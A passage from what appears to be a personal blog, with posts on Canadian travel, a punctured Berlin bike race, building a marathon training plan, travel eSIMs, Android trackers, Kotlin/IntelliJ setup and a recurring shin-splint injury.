To observe both waterfalls from a high point of view, they built the Skylon Tower. With hindsight, I would probably have liked to do it. But most tourists (like us!) enjoy the falls from the sidewalk along Niagara River Parkway for free, there is a long promenade that offers an amazing view. And at night, both falls are lit up in color illuminations. The light show lasts until late in the night.

The light show on the Horseshoe Falls, early evening

In summer, there are fireworks every night launched near the Canadian falls.

Toronto

There is absolutely nothing to see in Toronto. We stayed half a day there and I have a feeling I've seen most landmarks. Riding their "Bike Share Toronto" bikes made it easier and faster of course.

We went to the bottom of the CN Tower. Probably the view from up there is nice.
Go check out the Toronto Sign for a nice souvenir photo
Yonge-Dundas Square, the Times Square of Toronto
Go explore the Distillery District (and do yourself a favor and get an ice cream 😋 from Scooped by Demetres)

Of course they are plenty of activities to do, like museums or the aquarium, but nothing out of the ordinary, nothing at the scale of The Louvre nor MoMa.

Canada was awesome, go see it for yourself! 😃

Récit d'une course inachevée

2024-08-05T18:00:00+02:00

Les conditions étaient presque toutes réunies pour une belle course. En ce dimanche 4 août 2024, hier donc, je participais pour la troisième fois à la course sur route VeloCity à Berlin : 100kms dans Berlin, avec une bonne partie en dehors de la ville, sur routes fermées, quelques milliers de participants, départ et arrivée au milieu du Tiergarten. Bref, une belle course en vue.

Au réveil, peu après 8h, il pleut. Peu certes, mais il pleut. Je regarde le radar de pluie, cela devrait bien s'arrêter. Le départ est prévu à 9h30. J'ai bien dormi, étonnemment, presque 8 heures de sommeil, aucun stress, je connais la course, c'est la troisième fois.

Petit déj copieux, pâtes pesto, flocons d'avoine et lait de soja, barres de céréales. Je pars de chez moi juste avant 9h, les poches arrières pleins de gels et barres énergétiques, et je rentre dans mon sas de départ à 9h25, pile à l'heure, sas B. La pluie a cessé mais la route est trempée, tant pis, c'est mieux que de se prendre une saucée. Je me remets juste du COVID (ou autre maladie similaire), le weekend d'avant j'ai eu de la fièvre pendant 3 jours et un maxi rhume, qui aura trainé jusqu'à 2 jours avant la course. Mais tout va bien je suis en forme, mon dernier gros ride test remonte à jeudi (3 jours plus tôt), plus de 60 kilomètres à 31.5 km/h de moyenne en solo.

Top! le départ est donné. Je suis pas encore hyper hyper dans la course mais ça vient. Principalement car j'ai vraiment aucun stress, je sais à quoi m'attendre. Je veux seulement améliorer mon temps de l'année dernière. Les premiers kilomètres passent, on sort de la ville et on rentre dans Grunewald, et moi je rentre dans ma course petit à petit. Je prends des roues, souvent les mêmes. On est nombreux. Je reste avec ceux de mon sas de départ, ça roule plutôt bien, plus de 40 km/h de moyenne sur le compteur, la course est bien lancée. Les jambes sont très bonnes, j'arrive à relancer et me replacer dans le peloton regulièrement, plutôt vers l'avant, c'est jamais bon d'être à l'arrière en cas de chute.

Je me fais la reflexion que je vois beaucoup de gens arrêtés sur le côté, en train de pomper ou démonter une roue. Alors qu'il n'y a qu'un sas qui est parti avant moi, donc pas beaucoup de gens. Je me dis que ça doit vraiment être relou quand même. Ça ne m'est jamais arrivé sur une course.

Km 15, en plein milieu de Grunewald, je suis au milieu de mon bunch. J'avais pour le moment plutôt roulé sur le côté du groupe, pas au milieu. Je me place au milieu, je sais pas trop pourquoi. Au bout de quelques mètres, je me dit que la sensation est étrange, comparé à quand j'étais sur le côté du groupe, une bonne impression de rouler moins vite, sûrement car moins de vent en direct sur moi. Au bout de quelques secondes, je décide quand même de check ma roue arrière, on sait jamais. Alors que je penche la tête, bonne grosse sensation de "déraper" de l'arrière train. Pas manqué, j'ai bien crevé de la roue arrière. S'il fallait un début à tout, voici ma première crevaison sur course.

Je décide donc de m'arrêter sur le côté, je fais signe aux autres et me décale progressivement, en securité, puis m'arrête. Je change la chambre à air en 13 minutes chrono, j'ai pris le soin de compter. J'ai bien vérifié dans mon pneu, rien trouvé de saillant. Je ne trouve pas de bout de verre ou truc piquant. La route étant trempée, tout est dégeulasse, plein d'hydrocarbures et autres saletés. Mes mains sont noires après la réparation, dégeus. Je rage intérieurement, mon entrain bien entamé. Je repars. Pas réussi à remettre plus de 4 bars (je pense), avec ma petite pompe, tant pis. Rapidement, je me fais à l'évidence : mon groupe est à des années lumières de moi, j'ai été rattrapé par le sas D, E voire même F, l'allure n'est pas la même (et l'allure des cyclistes et de leurs vélos non plus 😆). Je passe de suiveur à leader, je suis plus rapide que tout le monde, ça va être dur de prendre des roues, par contre les autres ne se privent pas de mon aspiration, ils auraient tord !

Je ne suis plus du tout dans la course, mais alors plus du tout. Je rage carrément. Je me dit que ça va revenir, je vais bien retrouver un groupe.

Dans la panique, après la réparation, j'ai mal refermé ma sacoche de selle. Au bout de 10 kms, quelqu'un me le fait remarquer. Complétement à l'ouest, j'oublie que je suis dans une course, je commence à freiner sans prévenir et me déporter sur le côté, on me le fait remarquer en me hurlant dessus à plus de 35 km/h, fair enough, c'est ma faute, sorry. Je m'arrête, referme la sacoche, remarque au passage que mon multitool s'est fait la malle, fuck va falloir en racheter un, je l'aimais bien, fait chier...

Ça repart. Là, autant dire que je ne suis plus du tout dans la course. Je subis et surtout je suis hors de moi. Bon allez oublie, les jambes sont hyper bonnes, j'appuie tant que je peux, je remonte beaucoup de gens, derrière moi ça ne suit pas, en même temps je suis avec des gens d'un tout autre niveau.

On sort de Grunewald et retourne dans une agglomération, au sud de Berlin. J'aperçois une poubelle, je jette à son pied ma chambre à air crevée que je me trimballais dans la main depuis tout à l'heure. Enfin ! Je pédale je pédale, à l'arrière c'est pas hyper gonflé je le sens mais ça roule... enfin je croyais. Au km 29, à nouveau une sensation cheloue à l'arrière, ça "bouge". Coup d'oeil, PUTAIN c'est encore crevé !!!

Nom de dieu, fait chier ! Je m'arrête et prends quelques secondes pour évaluer mes options. Rapidement j'arrive à la conclusion que c'est fini pour moi. DNF. Did not finish. Je n'ai plus de chambre à air, et je vais pas commencer à patcher ma chambre à air avec une rustine maintenant, avec l'état de la route, de mon vélo et de mes mains. Sur une course de 2h30, ça n'en vaut pas la peine. Sur un IronMan pourquoi pas mais là clairement... En plus, the fun is gone, j'ai plus aucun plaisir. Je rage de ouf, c'est tout.

Mon vélo, pneu arrière à plat, à côté du Nextbike qui m'emmènera au S-Bahn

Je suis loin du centre de Berlin, rentrer s'annonce compliqué. Je décide de me trouver un Nextbike et d'aller à la station de S-Bahn la plus proche. Alors que je suis sur mon Nextbike, une main sur le guidon, l'autre sur le guidon de mon vélo de route en train de le pousser, le coup de grâce arrive : troisième crevaison, le pneu avant de mon vélo de route est soudain à plat, aucune idée pourquoi. J'étais même pas sur le vélo bordel... 😂

Après avoir tout démonté ensuite à la maison, j'ai crevé à l'avant et à l'arrière à cause de morceaux de verre. Il semblerait qu'à l'arrière les 2 crevaisons étaient dus au même morceau, que je n'ai pas senti au doigt lors de ma rapide inspection sur le bord de la route, avant de remonter la nouvelle chambre. Dommage. Étonnant quand même, du verre dans Grunewald, une forêt...

Leçons tirées

Bon déjà, les pneus. Alors ok, peut-être que j'ai juste eu VRAIMENT pas de chance, peut-être que des nouveaux pneus n'auraient rien changé, mais quand même. Même si les miens étaient encore bons (les témoins d'usure étaient visibles et ok, même si pas tout neufs), les pneus avaient plus de 10,000 kms. J'ai hésité à les changer avant la course, j'ai vraiment failli le faire, puis je me suis dit que ça allait le faire. Oups. En 2022 pour l'Étape du Tour, j'avais changé les pneus. J'aurais du faire pareil là. D'ailleurs, c'est ces mêmes pneus de 2022 avec lesquelles j'ai roulé hier. À l'avenir, je changerai mes pneus avant chaque course. Je garderai les anciens en backup s'ils sont encore bons, on va pas gaspiller non plus.

Deuxième leçon : toujours avoir 2 chambres à air de rechange en course. Pareil, pour l'Étape du Tour j'en avais 2 à chaque fois. Là je sais pas pourquoi, j'y ai même pas pensé, je suis parti qu'avec une.

Ensuite, les cartouches de CO2. J'ai toujours vu ça comme du gaspillage, mais en course c'est quand même intéressant. Déjà car ça t'évite 1 ou 2 minutes de gonflage épuisantes, et ensuite car ça permet de remettre 7 bars ou plus en 3 secondes, ce qui est nettement mieux pour rouler vite. Et là pareil, prévoir 2 cartouches, pas 1... car 2 chambres à air... donc 2 cartouches... On n'oublie pas l'adapteur entre la chambre à air et la cartouche. Et on garde quand même les rustines et la mini pompe en plus pour les longues courses ou même dépanner des gens tout simplement, ça pèse rien.

Enfin, la dernière leçon, pour laquelle je ne suis pas encore 100% convaincu, c'est le sealant (le liquide préventif anti-crevaison). Je roule pas en tubeless car j'ai entendu assez d'histoires cauchemardesques de cyclistes sur route, cependant si j'avais un gravel je serais en tubeless. Bref, sur route, je roule en chambre à air, mais j'ai lu sur Reddit notamment qu'il est possible de mettre du préventif dedans avant une course, qui fonctionnera comme sur du tubeless en cas de petite crevaison, et viendra boucher le trou. Il faut que je creuse le sujet. J'ai aussi vu qu'il existe des bombes de mousse à injecter dans une chambre à air APRÈS une crevaison, qui 1. répare les petites crevaisons et 2. regonfle la chambre à air. Suffisant pour finir une course. Pareil, sujet à creuser, et à tester au moins une fois sur une sortie hors course lors d'une crevaison, pour vérifier que ça fonctionne. Je suis pas encore convaincu pour le moment, surtout parce que la bombe est grosse, je me vois mal me trimballer ça dans le jersey. Par contre, mettre du préventif dans la chambre à air avant course, ça me semble mieux.

Bref, encore plein d'apprentissages, journée riche en émotions. I'll be back.

Running: Building My Own Training Plan

2024-08-03T16:00:00+02:00

Goal

W-13 until my first marathon ever. Time to start an actual training plan. Since the beginning of 2024, I was using the app Campus Coach for that. It's pretty good but far from perfect. It's also subscription-based, 15 euros per month (they do have a freemium version but it's too limited). They ask you many questions to customize the plan they build. However, after it's been created, I found it not flexible enough. For instance, it's not possible to postpone a session. Also, one cannot set a goal finish time for a race, instead the app will give an estimated finish time (based on their estimated MAS) and adjust it over time as progress is made.

Anyways, it was not perfect, so I decided to look for an alternative. And I found Kiprun Pacer, from Decathlon. Pretty different approach, it lets you drive your training more, and the sessions suggested are quite different. For instance, one can set their goal finish time. Also, it's free.

So I thought I'd fully compare these 2 apps. Ultimately as I do so, my goal is to understand how plans are created, what to adjust to make them truly personalized, so that I can build my own plans in the future, without any app, paid or free. I want my plans to be flexibile, I want them to adjust to my week schedule changes, not the other way around.

Since I've used Campus Coach for quite some time until August, I'll start using Kiprun Pacer from now on.

Kiprun Pacer

I set up my plan with the following parameters:

I intend to do 4 sessions per week
The race is on October 27th, 2024. It sets the plan duration to 13 weeks.
I do not want to skip the evaluation phase
Goal finish time: 3h29'00"

Like Campus Coach, the app also asks you for your personal records, to fine tune the training even more.

For what it's worth, I just completed today my MAS test and the result is: 16.95 km/h! It's commonly said that a marathon is usually run between 70% and 80% of one's MAS. 75% of 16.95 km/h = 12.71 km/h. In other words, a pace of 4'44"/km, or a finish time around 3h19". So my goal of 3h29'00" for a first marathon sounds realistic.

In the plan that the app crafts, their "endurance active" zone ranges from 65% to 70% of one's MAS, their "endurance fondamentale" is at 60%.

Pros

The app plans each week, i.e. it assigns a fixed day for each session, as opposed to simply telling you to do the sessions in the week the way you want. I need that sort of thing, otherwise I tend to poorly schedule my runs throughout a week. To do that, the app first asks you how many days a week you want to train, and which ones.
Sessions can be postponed/rescheduled (moved to an earlier date too)
The app lets you set a goal finish time before you start any plan, and will adjust all the sessions towards that goal, love it 😍
The sessions are mainly built based on distances, as opposed to time. Like, "5 times (500 meters at some pace, then 200 meters at some other pace)¨. I like that better than say, "5 times (2 minutes at some pace, then 1 minute at some other pace)". Campus Coach uses exclusively time durations, not distances. Sure, if you follow the paces precisely, the end result is the same, but still. It's just my personal opinion.
After a run, if you have connected your Garmin account to it, the app detects that the run was one from your training plan, and automatically "ticks it off". It then asks you a couple of optional questions, like "did you take pleasure in the run?", "how hard was it?", etc. These questions are used to quantify how well you are recovering/the load you're taking. Then, if the app determines some sessions were too hard, it automatically suggests to lower the difficulty of upcoming sessions. By far my favorite feature of the app! 😍 Conversely, when you rate multiple runs in a row as easy, the app will suggest some changes to make the following few runs more difficult.

The app suggests that I delete the next session, and make the following one easier

All the weeks in one's training plan are categorized. For my 13-week plan, those weeks fell in the following categories, in this order:
Evalutation (MAS (Maximal Aerobic Speed) test) week - 1 week
Ramping up - 4 weeks
Specific pace - 5 weeks
Sharpening - 3 weeks

Cons

MAS sessions are extremely difficult, right off the bat, as early as week 2. As soon as the app knows your MAS (VMA in French), it will schedule some sessions that aim at improving it. So those sessions are meant to be run at that speed. And the distances keep on increasing week over week. Super hard!!! Maybe too hard.
The sharpening (i.e taper) phase of my 13-week plan was a bit long and way too brutal. The decrease in kilometers is too big and too sudden. Week 10: 77.48 kms. Week 11: 42.09 kms. Week 12: 36.19 kms. Week 13 (race week): 15.13 kms.
The sessions are built based on your MAS and your goal finish time. On one hand, it's nice to be working towards that goal, on the other hand if both values are not compatible (low MAS + ambitious goal, or high MAS + "easy" goal like 5 hours), the app won't complain and you'll end up with too slow and too fast runs. Fortunately for me, both my MAS and goal time are compatible.

Campus Coach (paid version)

Pros

There is a dedicated section in the app where to see your progress over time, and your expected progress to come. That's very motivating!

Cons

The app does not let you set a goal finish time at the beginning of a plan. Instead it gives you an estimated time (based on their estimated MAS), and adjusts it as you make progress. The runs at specific pace are set to the ideal pace for you according to the app, not your goal pace. That sucks.
They estimate your MAS, they don't have you do a real test to know a value. Not sure how, maybe they estimate based on your records that the app asks you about, and your recent runs.
After a run, even if the app is connected to your Garmin account, you have to manually "validate the session", i.e. match your run in Garmin with a session in your plan in the app. A couple of more clicks, avoidable. Then it asks questions, like the Kiprun app, only less.

Conclusion: how training plans for a marathon are built

Extremely important notice: sleep, hydration and nutrition will be paramount during your training! Now, onto the plan...

So far, here are some bullet points on my learnings on how to build training plans yourself.

The paces must always be calculated based on the MAS, not on the HR. Why? Because the heart rate will vary throughout the session and will not go back to a lower number after a fast segment, for instance. Also, it very much depends on how rested one is, weather/temperature, the time of the day, coffee/food, etc. So MAS is a much better indicator to base off paces.

Any marathon plan should be at least 12-week long, with the following phases:

Development/ramp up: some general training, and exercises to improve one's MAS
Specific pace: specifically running at the goal pace, for long stretches, longer and longer over the weeks
Sharpening: less intensity, less load (-30% to -50% less kms), but same number of runs

Overall, the plan should follow the HVLIT phylosophy.

Depending on how long before the plan the person has not trained, a phase to get back into shape might be required before these 3 phases.

If one trains 4 times a week (like myself!), then most weeks should look something like this, in this order (#2 and #3 can be swapped):

One easy jog, wihout speeding up at all, to build up one's endurance (endurance fondamentale in French). Optionally, add some lignes droites at the very end of the session, from time to time.
One relatively long run specifically targetting the marathon pace (a.k.a. specific pace), with long stretches at the pace. Optionally, when tired, this run can also be swapped with an easy jog. Of course starting with slow warm-up and cool-down phases. Alternatively, this one can also be a progressive run.
One quality session, relatively short in distance, with fast segments (intervals/fractionné).
- During the ramp up phase, these segments are meant to be run faster than the targeted marathon pace, aimed at improving one's MAS. 10km-pace, on distances from 800 meters to 1200 . Repeated 4 to 8 times, with recovery phases in between. MAS-pace, 200 meters to 600, up to 10 repetitions.
- Later in the training plan, during the specific pace phase (as one gets closer to race day), those segments may be swapped with longer and slower ones, at marathon pace or threshold pace. These segments will be 1000 to 5000-meter long, again, repeated multiple times throughout the session, spaced by recovery phases.
Make sure to give your body 48 hours after such a session to recover. The next day, no running, or an easy jog.

Generally, there are 4 types of quality sessions, depending on what one aims at improving:
- "Puissance aérobie": when you want to improve your MAS. Run at 95 to 105% of your MAS. A classic session is 10 x 400m (with 1 min recovery between each). An alternative is 10 x 200m (30 sec recovery). Or 6 x 1000m (R=200m). Recovery means jogging (slow run), some walking is acceptable if too strenuous. For non professional athletes, how you run during the recovery does not matter so much. The duration in time or distance does matter though.
- "Capacité aérobie"/résistance: 85-90% MAS.
- Seuil (anaérobie): 85-88% MAS.
- Endurance: < 85% MAS.
One long jog, usually on Sunday, with one or multiple segments at the targeted marathon pace. At the beginning of a training plan, a long jog means 1 hour or so, at the end of a plan, around 2 hours, maximum 2 and a half (a good rule of thumb is, two third of the targeted race duration). The longest of all should be 4 weeks ahead of the race (week W-5), to give your body enough time in the following weeks to recover. Some people do the Sunday long jog without any segment at marathon pace, same "slow"/easy pace all along. I prefer with segments at marathon pace. The segments (2, 3 or more) become longer over the weeks, separated with one minute at easy pace. Always start with a warm-up phase and end with a cool down phase, at an easy pace.

One week out of ~4 should be a recovery week, where the number of kilometers is reduced, but also the number of fast segments. Except for those recovery weeks, the number of kms per week should gradually increased throughout the weeks, until the taper phase.

The taper (a.k.a. sharpening phase, affûtage in French) should be 2-week long (race week included!) for a marathon but gradual and not sudden. The peak in terms of weekly kilometers should happen the 4th week before the race, so just before the taper begins. The weekly total distance run in each of these 2 weeks (race included), should be equal to ~50% of your average weekly distance in the past few weeks. The intensity and frequency should remain the same, only the distances should be reduced. The last "quality session" (intervals at marathon pace) should be done on the last Wednesday before the race. (here is another piece of advice on the taper)

It is a great idea to run a half-marathon 3 or 4 weeks before the marathon, at the goal marathon pace, in race conditions (with gels and water) but on your own, to make sure the pace is fine and can be held for 21 kms without any issue.. If you do want to take part in an actual race, aim for 5 weeks ahead of the marathon.

The percent of "quality kms" in a plan (kilometers run at a fast pace, beyond VT1/SV1 in French) should not exceed 25% on any week (otherwise, greater risk of fatigue and injury). (other source)

ALL SESSIONS must start with a warm-up phase (55-60% MAS) from 20 to 30mins, and end with a 10-min cool-down phase (max 70-75% MAS), except if the session itself was an endurance one, run within 60-70% of your MAS.

Before quality sessions, after warming up, it can be valuable to add 10 minutes or more, of running drills, to improve one's technique but also help some specific muscles warm up.

Finally, after the race, allow your body one full week off, no running at all, maybe some swimming or low intensity cycling. The second week after the race, you may start again slow jogs. But really, take it easy!

Online training plans and how to build yours

Reviews of online training plans

Useful links

Nolio, a website to build your training plans or collaborate with a coach.

eSIMs for international travel

2024-07-30T17:30:00+02:00

While data roaming has now become essentially "free" for most Europeans, traveling outside Europe and surfing the internet can be quite expensive. But since the recent massive adoption of eSIMs on our smartphones, some comparies launched a brand new type of business: eSIMs for travels, that give you only data (no phone calls, no SMS). These come extremely handy when only web browsing is needed. With apps like WhatsApp, who still uses the basic phone and text features of our phones anyways?

As I was recently traveling outside Europe, I did my fair share of googling and compiled here a list of websites and companies of interest.

Big players

Among the many comparies out there, some names will pop out more often than others. Airalo, Sparks, Airhub and Jetpac are some of these big names with great reviews.

I got to try both Airalo and Sparks, on Android, in Canada and the USA. All I can say is: they worked like a charm. The data consumption rate was matching the numbers reported by my phone, so they are not trying to rip you off. I was always either on a 5G network or on a 4G one, and the speed was very good. I did not perform any speed test, but watching Youtube in HD was no problem at all.

Price-wise, Airalo was a bit more expensive than Sparks. On top of single-country packages, they both offer bundles that include multiple countries. For instance, Airalo has a "North-America" bundle that includes Mexico, the US and Canada, called "Americanmex". I got that one, valid for 30 days, 5 GB, $25.50.

Downloading and installing their eSIMs was effortless and took less than a minute, directly from the airport, on the free Wi-Fi network. There were many options one could chose from: using a QR code, clicking a button from within an app, and a more "manual way". Activating the eSIM was instantaneous after that.

Comparison portals

Airalo, Sparks, Airhub, and Jetpac are not the only players. There are many more out there, and most of them are even cheaper. You can also grab better deals for some companies on marketplaces like MobiMatter, as opposed to directly on the company website. It's fairly easy to find referral codes (discounts) on Reddit for MobiMatter.

However, the best comparison website I've found is eSIMDB. Everything is there, this should be your go-to website before purchasing any eSIM. It's easy to find plans where 1 GB costs $1.

Here is another one (and here's a copy on Reddit, should the website ever go down). This one is not neutral though, it earns commissions through affiliate links.

Hope this helps!

Airtags for Android

2024-07-28T18:00:00+02:00

Years after Apple launched the Airtags, Android is finally getting its long awaited counterpart, in the form of Google's "Find My Device" network.

Yet, before this new standard, many companies had released their tags with their own networks, that would only work with their own app. Needless to say, the density of their networks is limited hence hindering their finding capabilities. Now that Google has released its network, these same companies are also launching new products that work with it. So essentially this means that besides the official AirTags from Apple, most other products either work exclusively with Apple, exclusively with Google, or exclusively with their prorietary apps. Here's a short article about what tags work with Google's network.

Chipolo ONE Point

Currently priced at 34 euros, discount codes can easily be found on Reddit. They do not support UWB (Ultra WideBand) but I'm not sure it's a big deal... Is this precision-finding feature really useful for my usages? I intend to track my luggage, not my keys...

Pebblebee Clip for Android

Same price range, currently at 33.95 euros. They seem to be super similar to the Chipolo one. Again, no support for UWB.

Moto Tag

They were just announced but they haven't been released yet. They will be the first tags to support USW. I might give them a chance in the future, after reviews start popping up on the Web.

Kotlin

2024-07-26T15:10:00+02:00

Setup

Install Kotlin

Installing Kotlin is not necessary. Only Java is. IntelliJ Ultimate Edition (paid) or Community Edition (free) both come with the Kotlin plugin bundled and enabled by default.

Install Java (required)

sudo apt update
sudo apt install openjdk-21-jdk # or newer, check with `apt search openjdk`

Install Apache Maven

Installing Maven, a popular build tool, is not required, as IntelliJ comes with a bundled version of Maven. However, installing your own version might come in handy, to be able to run Maven from the command line outside IntelliJ, or to run a specific version of Maven. It does not hurt to install Maven globally on the system, it won't conflict with IntelliJ's Maven, but it is not recommended.

sudo apt update
sudo apt install maven

Maven Wrapper

A better alternative to installing Maven system-wide is to use the Maven Wrapper in a project. It is usually a file named mvnw. Its primary purpose is to ensure that anyone building the project uses the exact same version of Apache Maven, without needing to install Maven manually beforehand.

It comes with .mvn/wrapper/maven-wrapper.properties, a configuration file specifying which version of Maven should be used and where to download it from (usually Maven Central).

Instead of running mvn <goal> (which uses the globally installed Maven, if any), users run ./mvnw <goal>.

IntelliJ IDEA Ultimate

Although technically any IDE with the right extensions will do, it's recommended to use IntelliJ IDEA Ultimate. There is also the Community Edition that is completely free to use.

Kotlin is included in all IntelliJ IDEA versions and releases.

Install

Download Jetbrains' Toolbox App
Extract jetbrains-toolbox from the archive and move it under ~/.local/bin
Launch it. From there you can install IntelliJ Ultimate.

Setup IntelliJ

Settings > Build, Execution, Deployment > Build Tools > Maven > Importing > Automatically download. Check the 3 checkboxes "Sources", "Documentation" and "Annotations".
Settings > Editor > General > Auto Import, check Add unambiguous imports on the fly and Optimize imports on the fly.
Settings > Editor > Tools > Actions on Save, check Reformat code, Optimize imports, Rearrange code and Run code cleanup.

Plugins

File > Settings > Plugins:

SonarQube for IDE for code quality checks
GitHub Copilot
[GitToolBox](https://plugins.jetbrains.com/plugin/7499-gittoolbox) for git blame on lines

Common shortcuts (as of April 2025)

Alt+Enter: Show Intention Actions & Quick Fixes. This is arguably the most crucial shortcut. It offers context-aware suggestions, from fixing errors and warnings to importing classes, generating code, and applying quick refactorings.
Double Shift: Search Everywhere. Quickly find files, classes, symbols, actions, settings, or even Git commits anywhere in your project or the IDE itself.
Alt+J: Equivalent of Ctrl+D in VS Code ("Add Selection for Next Occurrence").
Ctrl+Shift+A: Find Action. If you know the name of an action (like "Reformat Code" or "Toggle Case") but not the shortcut, use this to find and execute it. It also shows the shortcut if one exists.
Ctrl+B or Ctrl+Click: Go to Declaration or Usages. Navigate to the source declaration of a variable, method, or class. If used on the declaration itself, it finds usages.
Alt+F7: Find Usages. Shows all places where the symbol under the caret is used throughout the project in the Find tool window.
Ctrl+Alt+L: Reformat Code. Automatically formats the current file or selected code block according to your project's code style settings.
Ctrl+/: Comment/Uncomment with Line Comment. Quickly comment or uncomment the current line or selected block using single-line comments (//).
Ctrl+Shift+/: Comment/Uncomment with Block Comment. Comment or uncomment the selected block using block comments (/* ... */).
Ctrl+W / Ctrl+Shift+W: Extend / Shrink Selection. Intelligently selects increasingly larger logical blocks of code (or shrinks the selection). Very useful for selecting statements, methods, or classes without using the mouse.
Ctrl+D: Duplicate Line or Selection. Copies the current line (or selected block) and pastes it immediately below.
Ctrl+Y: Delete Line. Deletes the entire line where the caret is positioned.
Shift+F6: Rename Refactoring. Safely rename variables, methods, classes, files, etc., updating all usages across the project.
Ctrl+Alt+M: Extract Method Refactoring. Turns a selected block of code into a new method.
Ctrl+Alt+V: Extract Variable Refactoring. Creates a new variable from a selected expression.
Ctrl+E: Recent Files. Shows a popup list of recently opened files for quick navigation. Press Ctrl+E again to see only recently changed files.
Ctrl+N: Go to Class. Quickly navigate to any class definition by typing its name (CamelHumps matching works).
Ctrl+Shift+N: Go to File. Quickly navigate to any file (not just classes) by typing its name.
Shift+F10: Run. Executes the current run/debug configuration.
Shift+F9: Debug. Starts debugging the current run/debug configuration.
Alt+1: Toggle Project Tool Window. Shows or hides the Project view panel, typically used for navigating the file tree. Esc usually returns focus to the editor from a tool window.

Note: These shortcuts are based on the default Linux keymap in IntelliJ IDEA. You can customize these shortcuts in Settings > Keymap. Some shortcuts might conflict with global OS shortcuts (especially on certain Linux distributions); IntelliJ usually warns you about this and provides options to resolve conflicts.

GitHub Copilot shortcuts

Tab: Accept the current inline suggestion. This is the primary way to insert the code Copilot suggests.
Esc: Dismiss the current inline suggestion. Use this if you don't want the suggestion and want to keep typing.
Alt+]: Show the next inline suggestion. Cycles forward through alternative suggestions if Copilot has more than one.
Alt+[: Show the previous inline suggestion. Cycles backward through alternative suggestions.
Alt+\: Trigger inline suggestion manually. If Copilot hasn't automatically shown a suggestion, or you dismissed one, this asks Copilot to provide one based on the current context. Note: This shortcut might conflict with other IntelliJ or OS shortcuts and may need rebinding.
Ctrl+Right Arrow: Accept the next word of the suggestion. Useful for accepting suggestions incrementally.
Ctrl+Enter (or sometimes Alt+Enter - check your keymap): Open GitHub Copilot panel/tool window. Shows multiple suggestions (often up to 10) in a separate panel for comparison. Note: Alt+Enter is the default for IntelliJ's "Show Intention Actions", so Ctrl+Enter might be the more likely default for this specific Copilot action, but it's best to verify in your Keymap settings under the action typically named Open GitHub Copilot or similar.

Périostite 2024

2024-06-24T18:00:00+02:00

Dans la famille des blessures en course à pied, je voudrais la périostite... déjà eue côté gauche ? Côté droit alors. 😊

Timeline

Tout commence il y a un peu plus de 2 mois, juste après mon semi-marathon de début Avril. Mon premier souvenir ? Avoir eu mal dans les jours après le semi-marathon. Je ne crois pas avoir eu mal pendant la course, mais je n'en suis pas sûr.

Après la course, j'enchaine directement et commence un entrainement "marathon" dans l'application Campus Coach. Pas de pause, j'ai repris la course dès le mercredi suivant, soit 72h après la course. Surêment là une erreur, et un facteur dans cette nouvelle périostite.

24 avril, course de 5 kms courue à fond (3'55"/km). Presque pas de douleur pendant la course.

Ensuite, début Mai, S25 de Berlin, course de 25 kms. Entre le semi et les 25, la douleur a été présente, peu, et uniquement lors de mes sorties, mais elle a progressé. Pendant les 25 kms, je courrais à un bon rythme, autour de 4'35"/km, et étonnemment je n'ai presque rien senti pendant la course, sauf au début.

Après S25, pareil, pas de pause, je reprends les entrainements dès le mardi suivant, soit 48h après 😱. Encore une erreur... sachant que je venais de battre mes PR coup sur coup (au semi, aux 5 et aux 25 kms). À partir de là, la douleur ne me quitte plus lors de mes sorties, survient même parfois en marchant ou en descendant des escaliers, et empire.

Fin-mai, je coupe la course à pied 2 semaines complètes. Je ne sens plus rien, aucune douleur. Le premier weekend de Juin arrive et avec lui le triathlon de Berlin. Tout se passe bien lors de la course, je reprends par la suite les entrainements. Mais la douleur fait ensuite son retour dans les jours suivant, graduellement, un peu plus forte à chaque sortie.

Jusqu'au vendredi 21 juin, où lors d'une sortie de 45 mins en endurance fondamentale, j'atteinds un seuil de douleur de 7 ou 8 sur 10, du jamais vu. Jusqu'alors je n'avais jamais dépassé 5 ou 6. Je décide de stopper ma sortie au bout de 27 minutes seulement, et commence une pause de 3 semaines.

Symptômes

Mes symptômes sont plutôt ceux classiques d'une périostite, même s'ils diffèrent pas mal de ma première périostite à l'autre jambe.

Douleur sur le coté intérieur du tibia de la jambe droite, sur une bande d'une dizaine de centimètres, plutôt vers le bas, qui parfois irradie dans tout le tibia, même du coté extérieur du tibia, et me donne une sensation de faiblesse dans la jambe lors de l'appui au sol.
Parfois ça passe pendant la course, si j'accélère. Parfois, ça empire pendant la course.
Je sens une légère douleur en descendant les escaliers.
Les symptômes sont différents de ma périostite de 2021, qui avait touché le tibia de la jambe gauche. À l'époque, la douleur avait été fulgurante et était apparue immédiatement en fin de sortie (une sortie de 21 kms 😨), rendant la marche impossible pendant une semaine. Avaient suivi 10 jours sans aucune activité sportive sauf du vélo, et puis disparition soudaine et complète de la douleur, sans qu'elle ne revienne jamais.

Causes ?

Impossible de savoir quoi exactement. Les facteurs sont sûrement multiples anyways.

Nouvelles chaussures depuis fin 2023 (Asics Gel-Kayano 30). J'ai d'ailleurs couru le semi avec ça.
Augmentation de ma dose de course à pied depuis cette même période, de manière assez rapide et significative.
Pas de coupure/pause après le semi (2 jours off seulement) ni après les 25 kms (1 jour off). Stupide.

Next steps

J'ai déjà fait 2 semaines complètement off en Mai, la douleur était partie lors de la reprise, mais est revenue depuis, à chaque entrainement un peu plus forte. Je tente donc maintenant 3 semaines complètement off jusqu'à mi-Juillet, et je vais essayer de porter des manchons (ou chaussettes) de compression sur ce mollet aussi souvent que possible, en télé-travail, le weekend, etc. Je shift mon focus sur mon entrainement vélo en vue de Vélocity, une course de 100 kms à Berlin début Août. Je reprendrai la course à pied en Juillet, avec un manchon de compression, pour évaluer l'évolution de la douleur, et j'aviserai en fonction. Sûrement que les premières semaines de reprise se feront avec ce manchon de compression. Je mettrai à jour cet article selon l'évolution. Stay tuned ✌️.

Update : 4 août 2024

Bon bah voilà, les 3 semaines de pause sont finies depuis un moment. État de lieux...

